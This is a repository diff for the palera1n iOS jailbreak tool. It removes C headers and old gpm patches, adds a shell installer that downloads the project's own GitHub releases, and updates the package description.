-#include <stddef.h>
-#include <stdarg.h>
-#include <usbmuxd.h>
-#include <libirecovery.h>
-#include <libimobiledevice/libimobiledevice.h>
-#include <pthread.h>
-
-#define LOG(loglevel, ...) p1_log(loglevel, __FILE__, __LINE__, __func__, __VA_ARGS__)
-#define CLEAR() printf("\33[2K\r");
-#define palerain_option_case(x) (512 + x)
-#define palerain_option_version 129
-#define CMD_LEN_MAX 512
-#define OVERRIDE_MAGIC 0xd803b376
-
-#define palerain_option_case_version      palerain_option_case(0)
-#define palerain_option_case_force_revert palerain_option_case(1)
-
-#ifdef USE_LIBUSB
-#include <libusb-1.0/libusb.h>
-
-#define USB_RET_SUCCESS         LIBUSB_SUCCESS
-#define USB_RET_NOT_RESPONDING  LIBUSB_ERROR_OTHER
-#define USB_RET_IO              LIBUSB_ERROR_IO
-#define USB_RET_NO_DEVICE		LIBUSB_ERROR_NO_DEVICE
-typedef int usb_ret_t;
-typedef libusb_device_handle *usb_device_handle_t;
-
-typedef struct stuff
-{
-    pthread_t th;
-    libusb_device *dev;
-    usb_device_handle_t handle;
-} stuff_t;
-usb_ret_t USBBulkUpload(usb_device_handle_t handle, void *data, int len);
-#else
-#pragma clang diagnostic push
-#pragma clang diagnostic ignored "-Wpedantic"
-#include <IOKit/IOKitLib.h>
-#include <IOKit/usb/IOUSBLib.h>
-#include <IOKit/IOCFPlugIn.h>
-#pragma clang diagnostic pop
-
-#define USB_RET_SUCCESS         KERN_SUCCESS
-#define USB_RET_NOT_RESPONDING  kIOReturnNotResponding
-#define USB_RET_IO              kIOReturnNotReady
-#define USB_RET_NO_DEVICE       kIOReturnNoDevice
-
-typedef IOReturn usb_ret_t;
-typedef IOUSBInterfaceInterface245 **usb_device_handle_t;
-
-typedef struct
-{
-    pthread_t th;
-    volatile uint64_t regID;
-    IOUSBDeviceInterface245 **dev;
-    usb_device_handle_t handle;
-} stuff_t;
-usb_ret_t USBBulkUpload(usb_device_handle_t handle, void *data, uint32_t len);
-#endif
-
-#ifndef PALERAIN_VERSION
-#define PALERAIN_VERSION "2.0.0"
-#endif
-
-#if defined(__APPLE__)
-#include <mach-o/loader.h>
-#include <mach-o/ldsyms.h>
-#else
-#define MH_MAGIC_64 0xfeedfacf
-#define MH_CIGAM_64 0xcffaedfe
-#define MH_KEXT_BUNDLE 0xb
-
-typedef int cpu_type_t;
-typedef int cpu_subtype_t;
-
-#define CPU_ARCH_ABI64          0x01000000
-#define CPU_TYPE_ARM            ((cpu_type_t) 12)
-#define CPU_TYPE_ARM64          (CPU_TYPE_ARM | CPU_ARCH_ABI64)
-
-struct mach_header_64
-{
-	uint32_t magic;			  /* mach magic number identifier */
-	cpu_type_t cputype;		  /* cpu specifier */
-	cpu_subtype_t cpusubtype; /* machine specifier */
-	uint32_t filetype;		  /* type of file */
-	uint32_t ncmds;			  /* number of load commands */
-	uint32_t sizeofcmds;	  /* the size of all the load commands */
-	uint32_t flags;			  /* flags */
-	uint32_t reserved;		  /* reserved */
-};
-#endif
-
-typedef void *(*pthread_start_t)(void *);
-
-// Keep in sync with Pongo
-#define PONGO_USB_VENDOR    0x05ac
-#define PONGO_USB_PRODUCT   0x4141
-#define CMD_LEN_MAX         512
-#define UPLOADSZ_MAX        (1024 * 1024 * 128)
-
-typedef enum {
-	LOG_FATAL = 0,
-	LOG_ERROR = 1,
-	LOG_WARNING = 2,
-	LOG_INFO = 3,
-	LOG_VERBOSE = 4,
-	LOG_VERBOSE2 = 5,
-	LOG_VERBOSE3 = 6,
-	LOG_VERBOSE4 = 7,
-	LOG_VERBOSE5 = 8,
-} log_level_t;
-
-typedef struct {
-	uint64_t ecid;
-	char* productType;
-	char* productVersion;
-	char* buildVersion;
-	char* CPUArchitecture;
-	const char* displayName;
-} devinfo_t;
-
-typedef struct {
-	int mode;
-	unsigned int cpid;
-	char product_type[0x20];
-	char display_name[0x20];
-	char iboot_ver[0x20];
-} recvinfo_t;
-
-typedef struct {
-	uint32_t magic; /* 0xd803b376*/
-	unsigned char* ptr; /* pointer to the override file in memory */
-	unsigned int len; /* length of override file */
-	unsigned char* orig_ptr; /* pointer to the overriden file */
-	unsigned int orig_len; /* length of the overriden file */
-	int fd; /* file descriptor of the override file */
-} override_file_t;
-
-typedef unsigned char niarelap_file_t[];
-
-extern unsigned int verbose;
-
-#ifdef TUI
-extern bool tui_started;
-#endif
-
-extern uint64_t palerain_flags;
-extern uint64_t* palerain_flags_p;
-
-extern pthread_t dfuhelper_thread, pongo_thread;
-extern int pongo_thr_running, dfuhelper_thr_running;
-
-extern niarelap_file_t *kpf_to_upload_1, *ramdisk_to_upload_1, *overlay_to_upload_1;
-extern niarelap_file_t **kpf_to_upload, **ramdisk_to_upload, **overlay_to_upload;
-extern override_file_t override_ramdisk, override_kpf, override_overlay;
-
-extern uint64_t palerain_flags;
-extern pthread_mutex_t log_mutex;
-
-extern pthread_mutex_t spin_mutex, found_pongo_mutex, ecid_dfu_wait_mutex;
-
-extern int pongo_thr_running, dfuhelper_thr_running;
-extern bool device_has_booted;
-extern char xargs_cmd[0x270];
-extern char palerain_flags_cmd[0x30];
-
-void thr_cleanup(void* ptr);
-void* dfuhelper(void* ptr);
-int p1_log(log_level_t loglevel, const char *fname, int lineno, const char *fxname, const char* __restrict format, ...);
-/* devhelper helpers */
-void devinfo_free(devinfo_t *dev);
-bool cpid_is_arm64(unsigned int cpid);
-/* devhelper commands */
-int subscribe_cmd(usbmuxd_event_cb_t device_event_cb, irecv_device_event_cb_t irecv_event_cb);
-int unsubscribe_cmd(void);
-int devinfo_cmd(devinfo_t *dev, const char *udid);
-int enter_recovery_cmd(const char* udid);
-int reboot_cmd(const char* udid);
-int passstat_cmd(unsigned char* status, const char* udid);
-int recvinfo_cmd(recvinfo_t* info, const uint64_t ecid);
-int autoboot_cmd(const uint64_t ecid);
-int exitrecv_cmd(const uint64_t ecid);
-
-int exec_checkm8(void);
-int override_file(override_file_t *finfo, niarelap_file_t** orig, unsigned int *orig_len, char *filename);
-void* pongo_helper(void* ptr);
-const unsigned char *
-boyermoore_horspool_memmem(const unsigned char* haystack, size_t hlen,
-                           const unsigned char* needle,   size_t nlen);
-
-
-extern void* pongo_usb_callback(stuff_t* arg);
-usb_ret_t USBControlTransfer(usb_device_handle_t handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, uint32_t wLength, void *data, uint32_t *wLenDone);
-const char *usb_strerror(usb_ret_t err);
-int wait_for_pongo(void);
-int upload_pongo_file(usb_device_handle_t, unsigned char*, unsigned int);
-int issue_pongo_command(usb_device_handle_t, char*);
-int tui(void);
-int optparse(int argc, char* argv[]);
-
-bool get_spin(void);
-bool set_spin(bool val);
-bool get_found_pongo(void);
-void* pongo_helper(void* _);
-bool set_found_pongo(bool val);
-uint64_t get_ecid_wait_for_dfu(void);
-uint64_t set_ecid_wait_for_dfu(uint64_t ecid);
-
-void write_stdout(char *buf, uint32_t len);
-void io_start(stuff_t *stuff);
-void io_stop(stuff_t *stuff);
-
-void print_credits(void);
-
-#ifdef TUI
-#include <newt.h>
-newtComponent get_tui_log(void);
-newtComponent set_tui_log(newtComponent co);
-#endif
-#endif

include/tui.h

@@ -1,49 +0,0 @@
-#ifndef TUI_H
-#define TUI_H
-#include <stdio.h>
-#include <stdlib.h>
-#include <stdint.h>
-#include <stdbool.h>
-#include <inttypes.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <string.h>
-#include <locale.h>
-#include <unistd.h>
-#include <newt.h>
-#include <paleinfo.h>
-
-#define WIDTH 76
-#define HEIGHT 19
-
-#define PI_LOG_COLOR NEWT_COLORSET_CUSTOM(0)
-#define PI_STEP_CURRENT NEWT_COLORSET_CUSTOM(1)
-#define PI_STEP_OTHER NEWT_COLORSET_CUSTOM(2)
-
-#define CHECKBOX_STATE(flags, opt) (flags & opt) != 0 ? '*' : ' '
-
-typedef enum tui_screens {
-    ERROR_SCREEN = -1,
-    EXIT_SCREEN = 0,
-    MAIN_SCREEN = 1,
-    OPTIONS_SCREEN = 2,
-    ENTER_DFU_SCREEN = 3,
-    JAILBREAKING_SCREEN = 4,
-    ENTER_RECOVERY_SCREEN = 5
-} tui_screen_t;
-
-typedef struct bitfield_checkbox_info {
-    uint64_t* flags_p;
-    uint64_t opt;
-} tui_bit_info_t;
-
-tui_screen_t tui_screen_main(void);
-tui_screen_t tui_screen_options(void);
-tui_screen_t tui_screen_enter_recovery(void);
-tui_screen_t tui_screen_enter_dfu(void);
-tui_screen_t tui_screen_jailbreak(void);
-
-int redraw_screen(void);
-
-
-#endif

include/xxd-embedded.h

@@ -1,22 +0,0 @@
-#ifndef XXD_EMBEDDED_H
-#define XXD_EMBEDDED_H
-
-#if defined(__APPLE__)
-#include <TargetConditionals.h>
-#endif
-
-extern unsigned char checkra1n_kpf_pongo[];
-extern unsigned int checkra1n_kpf_pongo_len;
-
-extern unsigned char ramdisk_dmg[];
-extern unsigned int ramdisk_dmg_len;
-
-extern unsigned char binpack_dmg[];
-extern unsigned int binpack_dmg_len;
-
-#if defined(__APPLE__) && (TARGET_OS_IPHONE || defined(DEV_BUILD))
-extern unsigned char libcheckra1nhelper_dylib[];
-extern unsigned int libcheckra1nhelper_dylib_len;
-#endif
-
-#endif

install.sh

@@ -0,0 +1,300 @@
+#!/usr/bin/env sh
+
+set -eu
+
+RED='\033[0;31m'
+YELLOW='\033[0;33m'
+DARK_GRAY='\033[90m'
+LIGHT_CYAN='\033[0;96m'
+DARK_CYAN='\033[0;36m'
+NO_COLOR='\033[0m'
+BOLD='\033[1m'
+
+printf '%b' "\033c"
+printf '%s\n' '::'
+printf '%s\n' ':: =====================>'
+printf '%s\n' ':: palera1n install script'
+printf '%s\n' ':: =====================>'
+printf '%s\n' ''
+
+# =========
+# Logging
+# =========
+
+error() {
+    printf '%b\n' " - [${DARK_GRAY}$(date +'%m/%d/%y %H:%M:%S')${NO_COLOR}] ${RED}${BOLD}<Error>${NO_COLOR}: ${RED}$1${NO_COLOR}" >&2
+}
+
+info() {
+    printf '%b\n' " - [${DARK_GRAY}$(date +'%m/%d/%y %H:%M:%S')${NO_COLOR}] ${DARK_CYAN}${BOLD}<Info>${NO_COLOR}: ${DARK_CYAN}$1${NO_COLOR}"
+}
+
+warning() {
+    printf '%b\n' " - [${DARK_GRAY}$(date +'%m/%d/%y %H:%M:%S')${NO_COLOR}] ${YELLOW}${BOLD}<Warning>${NO_COLOR}: ${YELLOW}$1${NO_COLOR}"
+}
+
+if [ "$(id -u)" -eq 0 ]; then
+    error "Run this script without sudo!"
+    exit 1
+fi
+
+# =========
+# Variables
+# =========
+
+os="$(uname)"
+os_name="$os"
+prefix_path="${XDG_BIN_HOME:-$HOME/.local}"
+bin_path="$prefix_path/bin"
+install_path="$bin_path/palera1n"
+old_install_path="/usr/local/bin/palera1n"
+
+download() {
+    local url="$1"
+    local dest="${2:-$install_path}"
+
+    status=$(curl --progress-bar --write-out '%{http_code}' -Lo "$dest" "$url")
+
+    if [ "$status" -ne 200 ]; then
+        error "palera1n failed to download. Check your internet connection. (HTTP Status: $status)"
+        rm -f -- "$dest"
+        exit 1
+    fi
+
+    chmod +x "$dest"
+}
+
+remove_palera1n() {
+    local removed=false
+
+    if [ -e "${install_path}" ]; then
+        rm -f -- "${install_path}"
+        rm -f -- "${prefix_path}/share/man/man1/palera1n.1" 2>/dev/null || true
+        rm -f -- "${prefix_path}/share/man/man8/p1ctl.8" 2>/dev/null || true
+        removed=true
+    fi
+
+    if [ -e "${old_install_path}" ]; then
+        info "Removing legacy installation from ${old_install_path} (sudo required)..."
+        sudo rm -f -- "${old_install_path}"
+        removed=true
+    fi
+
+    if [ "${removed}" = "true" ]; then
+        info "Successfully removed."
+    else
+        warning "palera1n installation was not found."
+    fi
+}
+
+add_to_path() {
+    local path_dir="$1"
+    local export_line="export PATH=\"\$PATH:${path_dir}\""
+
+    case ":$PATH:" in
+        *":${path_dir}:"*)
+            return 0
+            ;;
+    esac
+
+    local target_profile=""
+    case "${SHELL:-}" in
+        */zsh)  target_profile="$HOME/.zshrc" ;;
+        */bash) target_profile="$HOME/.bashrc" ;;
+        *)      target_profile="$HOME/.profile" ;;
+    esac
+
+    if [ -f "$target_profile" ] && grep -Fqx "$export_line" "$target_profile" 2>/dev/null; then
+        export PATH="$PATH:$path_dir"
+        return 0
+    fi
+
+    printf 'Add "%s" to your PATH permanently? [Y/n] ' "$path_dir"
+    read -r reply
+
+    case "$reply" in
+        ""|[Yy]|[Yy][Ee][Ss])
+            mkdir -p "$(dirname "$target_profile")"
+            printf '\n# Added by palera1n installer\n%s\n' "$export_line" >> "$target_profile"
+            export PATH="$PATH:$path_dir"
+            info "Added ${path_dir} to PATH in ${target_profile}."
+            ;;
+        *)
+            info "Skipping..."
+            ;;
+    esac
+}
+
+print_help() {
+    cat << EOF
+Usage: $0 [-h|--help] [-r|--remove]
+
+Options:
+    -h, --help          Print this help message
+    -r, --remove        Uninstall palera1n
+EOF
+}
+
+# =========
+# Dependencies
+# =========
+
+case "$os" in
+    Linux)
+        if ! command -v curl >/dev/null 2>&1; then
+            error "curl is required to run this script."
+            exit 1
+        fi
+        if ! command -v tar >/dev/null 2>&1; then
+            error "tar is required to run this script."
+            exit 1
+        fi
+    ;;
+esac
+
+# =========
+# OS and Architecture
+# =========
+
+case "$os" in
+    Linux)
+        arch_check=$(uname -m)
+        os_name="Linux"
+    ;;
+    Darwin)
+        os_version=$(uname -r | cut -d. -f1)
+        if [ "$os_version" -gt 15 ]; then
+            os_name="macOS"
+        elif [ "$(uname -m | head -c2)" = "iP" ]; then
+            error "The palera1n installer script is not meant for iOS devices directly. Please run on a PC."
+            exit 1
+        else
+            os_name="Mac OS X"
+        fi
+        arch_check=$(uname -m)
+    ;;
+    *)
+        error "Unknown or unsupported OS ($os)."
+        exit 1
+    ;;
+esac
+
+if [ "$os" = "Linux" ]; then
+    if grep -qi Microsoft /proc/version 2>/dev/null; then
+        error "palera1n is not supported on WSL. Please use another supported platform."
+        exit 1
+    fi
+fi
+
+case "$arch_check" in
+    x86_64* | amd64)
+        arch="x86_64"
+    ;;
+    i?86 | x86*)
+        arch="x86"
+    ;;
+    aarch64* | arm64*)
+        arch="arm64"
+    ;;
+    arm*)
+        arch="armel"
+    ;;
+    *)
+        error "Unknown or unsupported architecture ($arch_check)."
+        exit 1
+    ;;
+esac
+
+# =========
+# Args
+# =========
+
+case "${1:-}" in
+    "") ;;
+    "-r" | "--remove")
+        remove_palera1n
+        exit 0
+        ;;
+    "-h" | "--help")
+        print_help
+        exit 0
+        ;;
+    *)
+        error "Invalid option: \"$1\""
+        print_help
+        exit 1
+        ;;
+esac
+
+# =========
+# Run
+# =========
+
+download_version=$(curl -s https://api.github.com/repos/palera1n/palera1n/releases/latest | grep -o '"tag_name": "[^"]*' | sed 's/"tag_name": "//' || true)
+
+if [ -z "$download_version" ]; then
+    error "Could not retrieve the latest release version from GitHub API."
+    exit 1
+fi
+
+info "Detected environment: $os_name ($arch)"
+info "Targeting release tag: ${download_version}"
+
+download_prefix="https://github.com/palera1n/palera1n/releases/download"
+mkdir -p "$bin_path"
+
+if [ -f "$install_path" ] || [ -f "$old_install_path" ]; then
+    warning "Existing palera1n installation found. Replacing..."
+    remove_palera1n
+fi
+
+case "$os" in
+    Linux)
+        tgz_url="${download_prefix}/${download_version}/palera1n-linux-${arch}.tar.gz"
+        bin_url="${download_prefix}/${download_version}/palera1n-linux-${arch}"
+
+        if curl -fsLI "$tgz_url" >/dev/null 2>&1; then
+            info "Installing from Linux tarball..."
+            curl -fsSL "$tgz_url" | tar -xz -C "$prefix_path"
+        else
+            info "Installing standalone Linux binary..."
+            download "$bin_url"
+            chmod +x "$install_path" 2>/dev/null || true
+        fi
+        ;;
+    Darwin)
+        dmg_url="${download_prefix}/${download_version}/palera1n-macos-universal.dmg"
+        tgz_url="${download_prefix}/${download_version}/palera1n-macos-${arch}.tar.gz"
+        bin_url="${download_prefix}/${download_version}/palera1n-macos-${arch}"
+
+        if curl -fsLI "$dmg_url" >/dev/null 2>&1; then
+            error "DMG releases are not supported by this CLI installer. Please download the DMG manually."
+            exit 1
+        fi
+
+        if curl -fsLI "$tgz_url" >/dev/null 2>&1; then
+            info "Installing from macOS tarball..."
+            curl -fsSL "$tgz_url" | tar -xz -C "$prefix_path"
+        else
+            info "Installing standalone macOS binary..."
+            download "$bin_url"
+            chmod +x "$install_path" 2>/dev/null || true
+        fi
+        ;;
+esac
+
+add_to_path "$bin_path"
+
+if [ -f "$install_path" ]; then
+    if ! "$install_path" --version > /dev/null 2>&1; then
+        error "palera1n installation is corrupted. Please check your internet connection and try again."
+        exit 1
+    fi
+
+    info "palera1n installed successfully at ${install_path}."
+    info "Type \`palera1n\` in your terminal to get started!"
+    exec "${SHELL:-/bin/sh}" -l
+else 
+    error "palera1n failed to install. Please check your internet connection and try again."
+    exit 1
+fi

packaging/control

@@ -4,14 +4,18 @@ Version: @DEB_VERSION@
 Architecture: @DEB_ARCH@
 Maintainer: palera1n team
 Author: palera1n team
-Depends: usbmuxd
 Section: Utilities
 Priority: optional
 Homepage: https://palera.in
-Description: iOS 15.0-16.5.1 semi-tethered checkm8 jailbreak
- palera1n is an iOS/iPadOS 15.0-16.5.1 semi tethered jailbreak
+Description: iOS 15.0+ semi-tethered checkm8 jailbreak
+ palera1n is an iOS/iPadOS 15.0+ semi tethered jailbreak
  based on the checkm8 exploit.
  .
  palera1n is able to jailbreak the device in fakefs-rootful mode,
  where / is writable, as well as rootless mode, where / cannot be
  written to.
+ .
+ IMPORTANT: This does NOT make palera1n untethered or allow you to
+ jailbreak your current device without a computer. It just allows
+ you to jailbreak another iDevice using this device, given you have
+ an appropriate cable. Also, the success rate is likely to be bad.

packaging/control.macosx

@@ -1,16 +0,0 @@
-Package: palera1n
-Name: palera1n
-Version: @DEB_VERSION@
-Architecture: @DEB_ARCH@
-Maintainer: palera1n team
-Author: palera1n team
-Section: Utilities
-Priority: optional
-Homepage: https://palera.in
-Description: iOS 15.0-16.5 semi-tethered checkm8 jailbreak
- palera1n is an iOS/iPadOS 15.0-16.5 semi tethered jailbreak
- based on the checkm8 exploit.
- .
- palera1n is able to jailbreak the device in fakefs-rootful mode,
- where / is writable, as well as rootless mode, where / cannot be
- written to.

patches/gpm/001_missing_V_option.patch

@@ -1,23 +0,0 @@
-Description: Add no-op option -V for compatibility
-
-Index: b/src/daemon/cmdline.c
-===================================================================
---- a/src/daemon/cmdline.c	2008-05-29 02:26:08.000000000 +0300
-+++ b/src/daemon/cmdline.c	2008-06-11 05:46:23.000000000 +0300
-@@ -32,7 +32,7 @@
- void cmdline(int argc, char **argv)
- {
-    extern struct options option;
--   char options[]="a:A::b:B:d:Dg:hi:kl:m:Mo:pr:R::s:S:t:Tuv23";
-+   char options[]="a:A::b:B:d:Dg:hi:kl:m:Mo:pr:R::s:S:t:TuvV23";
-    int  opt;
- 
-    /* initialize for the dual mouse */ 
-@@ -81,6 +81,7 @@ void cmdline(int argc, char **argv)
-          case 'u': option.autodetect = 1;                break;
-          case 'T': opt_test++;                           break;
-          case 'v': printf(GPM_MESS_VERSION "\n");        exit(0);
-+         case 'V': /* Compat code */                     break;
-          case '2': (which_mouse->opt_three) = -1;                       break;
-          case '3': (which_mouse->opt_three) =  1;                       break;
-          default: exit(usage("commandline"));

patches/gpm/014_has_mouse_control.patch

@@ -1,39 +0,0 @@
-Description: source code of gpm_has_mouse_control helper
-
-Index: b/contrib/control/gpm_has_mouse_control.c
-===================================================================
---- /dev/null	1970-01-01 00:00:00.000000000 +0000
-+++ b/contrib/control/gpm_has_mouse_control.c	2007-12-10 08:25:45.000000000 +0200
-@@ -0,0 +1,20 @@
-+#include <sys/fcntl.h>
-+#include <sys/kd.h>
-+#include <stdio.h>
-+#include <stdlib.h>
-+#include <sys/ioctl.h>
-+
-+int main (int argc, char **argv)
-+{
-+    int  fd;
-+    int  mode;
-+    fd = open ("/dev/tty0", O_RDONLY);
-+    if (fd == -1)
-+	fd = open ("/dev/vc/0", O_RDONLY);
-+    if (fd == -1)
-+	perror ("open");
-+    if (ioctl (fd, KDGETMODE, &mode) != 0)
-+	perror ("ioctl");
-+    exit(mode);
-+}
-+
-Index: b/contrib/control/Makefile
-===================================================================
---- /dev/null	1970-01-01 00:00:00.000000000 +0000
-+++ b/contrib/control/Makefile	2007-12-10 08:25:45.000000000 +0200
-@@ -0,0 +1,7 @@
-+CC := gcc
-+
-+all: gpm_has_mouse_control.c
-+	$(CC) $(CFLAGS) $(CPPFLAGS) $(LDFLAGS) -o gpm_has_mouse_control -Wall gpm_has_mouse_control.c
-+
-+clean:
-+	-rm -f gpm_has_mouse_control

patches/gpm/031_max_consoles.patch

@@ -1,107 +0,0 @@
-Description: Use MAX_NR_CONSOLES instead of MAX_VC
-
---- a/src/daemon/gpm.c
-+++ b/src/daemon/gpm.c
-@@ -93,7 +93,7 @@
- int fifofd=-1;
- 
- int eventFlag=0;
--Gpm_Cinfo *cinfo[MAX_VC+1];
-+Gpm_Cinfo *cinfo[MAX_NR_CONSOLES+1];
- 
- time_t last_selection_time;
- time_t opt_age_limit = 0;
---- a/src/daemon/old_main.c
-+++ b/src/daemon/old_main.c
-@@ -141,7 +141,7 @@
-          signal(SIGWINCH,gpm_killed); /* reinstall handler */
- 
-          /* and notify clients */
--         for(i=0; i<MAX_VC+1; i++) {
-+         for(i=0; i<=MAX_NR_CONSOLES; i++) {
-             Gpm_Cinfo *ci;
-             for (ci = cinfo[i]; ci; ci = ci->next) kill(ci->data.pid,SIGWINCH);
-          }
-@@ -214,7 +214,7 @@
-       /*........................ got request */
- 
-      /* itz 10-22-96 check _all_ clients, not just those on top! */
--      for (i=0; pending && (i<=MAX_VC); i++) {
-+      for (i=0; pending && (i<=MAX_NR_CONSOLES); i++) {
-          Gpm_Cinfo* ci;
-          for (ci = cinfo[i]; pending && ci; ci = ci->next) {
-             if (FD_ISSET(ci->fd,&selSet)) {
---- a/src/daemon/processconn.c
-+++ b/src/daemon/processconn.c
-@@ -67,8 +67,8 @@
-       return -1;
-    }
- 
--   if((vc = request->vc) > MAX_VC) {
--      gpm_report(GPM_PR_DEBUG, GPM_MESS_REQUEST_ON, vc, MAX_VC);
-+   if((vc = request->vc) > MAX_NR_CONSOLES) {
-+      gpm_report(GPM_PR_DEBUG, GPM_MESS_REQUEST_ON, vc, MAX_NR_CONSOLES);
-       free(info);
-       close(newfd);
-       return -1;
---- a/src/daemon/processrequest.c
-+++ b/src/daemon/processrequest.c
-@@ -41,7 +41,7 @@
- 
-    gpm_report(GPM_PR_INFO, GPM_MESS_CON_REQUEST, ci->fd, vc);
- 
--   if (vc>MAX_VC) return -1;
-+   if (vc>MAX_NR_CONSOLES) return -1;
- 
-    /* itz 10-22-96 this shouldn't happen now */
-    if (vc==-1) gpm_report(GPM_PR_OOPS, GPM_MESS_UNKNOWN_FD);
---- a/src/headers/daemon.h
-+++ b/src/headers/daemon.h
-@@ -26,6 +26,7 @@
-  */
- #include "gpm.h"           /* Gpm_Event         */
- #include <sys/select.h>    /* fd_set            */
-+#include <linux/vt.h>      /* for cinfo -- to be moved to os/linux in 2.x! */
- 
- /*************************************************************************
-  * Types / structures
-@@ -104,13 +105,6 @@
-  * Macros
-  */
- 
--/* How many virtual consoles are managed? */
--#ifndef MAX_NR_CONSOLES
--#  define MAX_NR_CONSOLES 64 /* this is always sure */
--#endif
--
--#define MAX_VC    MAX_NR_CONSOLES  /* doesn't work before 1.3.77 */
--
- /* for adding a mouse; add_mouse */
- #define GPM_ADD_DEVICE        0
- #define GPM_ADD_TYPE          1
-@@ -174,7 +168,7 @@
- extern int              eventFlag;
- extern struct winsize   win;
- 
--extern Gpm_Cinfo       *cinfo[MAX_VC+1];
-+extern Gpm_Cinfo       *cinfo[MAX_NR_CONSOLES+1];
- 
- extern struct mouse_features  mouse_table[3],
-                              *which_mouse;      /*the current one*/
---- a/src/headers/gpmCfg.h
-+++ b/src/headers/gpmCfg.h
-@@ -32,14 +32,6 @@
- #include <linux/tty.h>
- #endif
- 
--/* FIXME: still needed ?? */
--/* How many virtual consoles are managed? */
--#ifndef MAX_NR_CONSOLES
--#  define MAX_NR_CONSOLES 64 /* this is always sure */
--#endif
--
--#define MAX_VC    MAX_NR_CONSOLES  /* doesn't work before 1.3.77 */
--
- /* How many buttons may the mouse have? */
- /* #define MAX_BUTTONS 3  ===> not used, it is hardwired :-( */
- 

patches/gpm/080_cross-compile.patch

@@ -1,13 +0,0 @@
-Description: Add AC_CANONICAL_HOST
-
---- a/configure.ac.footer
-+++ b/configure.ac.footer
-@@ -35,6 +35,8 @@
- # Find programs
- #
- 
-+AC_CANONICAL_HOST
-+
- AC_PROG_CC
- AC_PROG_LIBTOOL
- AC_PROG_INSTALL

patches/gpm/092_fix-format-not-a-string-literal-and-no-format-arguments.patch

@@ -1,16 +0,0 @@
-Description: Fix FTBFS with -Wformat-security
-Author: Axel Beckert <[email protected]>
-Bug-Debian: https://bugs.debian.org/888792
-Bug-Debian: https://bugs.debian.org/888797
-
---- a/src/lib/report-lib.c
-+++ b/src/lib/report-lib.c
-@@ -47,7 +47,7 @@
-                            log_level = LOG_CRIT; break;
-    }
- #ifdef HAVE_VSYSLOG
--   syslog(log_level, string);
-+   syslog(log_level, "%s", string);
-    vsyslog(log_level, text, ap);
- #else
-    fprintf(stderr,"%s[%s(%d)]:\n",string,file,line);

patches/gpm/093_fix-typos.patch

@@ -1,133 +0,0 @@
-Description: Fix spelling errors found by lintian
-Author: Axel Beckert <[email protected]>
-
---- a/doc/FAQ
-+++ b/doc/FAQ
-@@ -132,7 +132,7 @@
-            to keep hold of processor time for at least 1 second).
-      - no pnp vendor will be able to support three buttons any more (no
-            more mouse protocols, all mice must behave the same).
--     - similary, only 1200 baud devices (any serial device) are supported,
-+     - similarly, only 1200 baud devices (any serial device) are supported,
-            because the initialization string of pnp devices only tells
-            the vendor and release, with no information about required
-            port configuration.
---- a/doc/doc.gpm.in
-+++ b/doc/doc.gpm.in
-@@ -394,7 +394,7 @@
-         automatically forces the @emph{repeater} (@samp{\-R}) option on.
- 
- @item \-o @var{list-of-extra-options}
--	The option works similary to the ``\-o'' option of mount; it is
-+	The option works similarly to the ``\-o'' option of mount; it is
- 	used to specify a list of ``extra options'' that are specific
- 	to each mouse type. The list is comma-separated. The options
- 	@samp{dtr}, @samp{rts} or @samp{both} are used by the serial
---- a/src/daemon/old_main.c
-+++ b/src/daemon/old_main.c
-@@ -190,7 +190,7 @@
- /*....................................... got mouse, process event */
- /*
-  * Well, actually, run a loop to maintain inlining of functions without
-- * lenghtening the file. This is not too clean a code, but it works....
-+ * lengthening the file. This is not too clean a code, but it works....
-  */
- 
-       for (i=1; i <= 1+opt_double; i++) {
---- a/src/mice.c
-+++ b/src/mice.c
-@@ -122,7 +122,7 @@
-          break;
-       }
-       if (p->type == ARGV_END) { /* not found */
--         fprintf(stderr, "%s: Uknown option \"%s\" for pointer \"%s\"\n",
-+         fprintf(stderr, "%s: Unknown option \"%s\" for pointer \"%s\"\n",
-                   option.progname, argv[i], argv[0]);
-          errors++;
-          continue;
---- a/src/prog/mouse-test.c
-+++ b/src/prog/mouse-test.c
-@@ -524,7 +524,7 @@
-       Gpm_Event event;
- 
-       if (packetsize!=cur->this->packetlen) {
--         REMOVETYPE(cur,"different packet lenght");
-+         REMOVETYPE(cur,"different packet length");
-          continue;
-       }
- 
---- a/src/synaptics.c
-+++ b/src/synaptics.c
-@@ -2471,7 +2471,7 @@
- #define PS2_SCALE_11      0xE6      /* Set scale to 1:1 */
- 
- 
--/* Normal ps2 responce */
-+/* Normal ps2 response */
- #define PS2_ERROR         0xFC      /* Error, after a reset,resend or disconnect*/
- #define PS2_ACK           0xFA      /* Command acknowledge */
- #define PS2_READY         0xAA      /* Send after a calibration or ERROR */
-@@ -2538,7 +2538,7 @@
-   }
- 
- # ifdef DEBUG_PUTBYTE_ACK
--  gpm_report(GPM_PR_DEBUG,"Responce %X to byte %X",ack,b);
-+  gpm_report(GPM_PR_DEBUG,"Response %X to byte %X",ack,b);
- # endif
- 
-   return ack;
-@@ -2565,11 +2565,11 @@
-     
-     /* Do some sanity checking */
-     if((response[0] & 0xFC) != 0x84) {
--      gpm_report (GPM_PR_ERR,"Byte 0 of stick device responce is not valid");
-+      gpm_report (GPM_PR_ERR,"Byte 0 of stick device response is not valid");
-       return -1;
-     }
-     if((response[3] & 0xCC) != 0xC4) {
--      gpm_report (GPM_PR_ERR,"Byte 3 of stick device responce is not valid");
-+      gpm_report (GPM_PR_ERR,"Byte 3 of stick device response is not valid");
-       return -1;
-     }
-   }
-@@ -2844,7 +2844,7 @@
-   byte status,id_code = PS2_MOUSE_IDCODE;
-   byte reset_cmd = PS2_RESET;
- 
--  gpm_report(GPM_PR_DEBUG,"Reseting Synaptic PS/2 %s\n",(stick?"Stick":"Touchpad"));
-+  gpm_report(GPM_PR_DEBUG,"Resetting Synaptic PS/2 %s\n",(stick?"Stick":"Touchpad"));
- 
-   /* Send reset command without eating the ack. */
-   if(!stick) {
-@@ -2871,11 +2871,11 @@
-   usleep(750000);
- 
-   if ( (status  = syn_ps2_getbyte(fd,stick)) != PS2_READY ){
--    gpm_report(GPM_PR_ERR,"Reseting PS/2 Device failed: No READY, got %02X.\n"
-+    gpm_report(GPM_PR_ERR,"Resetting PS/2 Device failed: No READY, got %02X.\n"
- 	                  "Check pc_keyb.c for reconnect smartness.\n",status);
-   }
-   if ( (id_code = syn_ps2_getbyte(fd,stick)) != PS2_MOUSE_IDCODE){
--    gpm_report(GPM_PR_ERR,"Reseting PS/2 Device failed: Wrong ID, got %02X.\n",id_code);
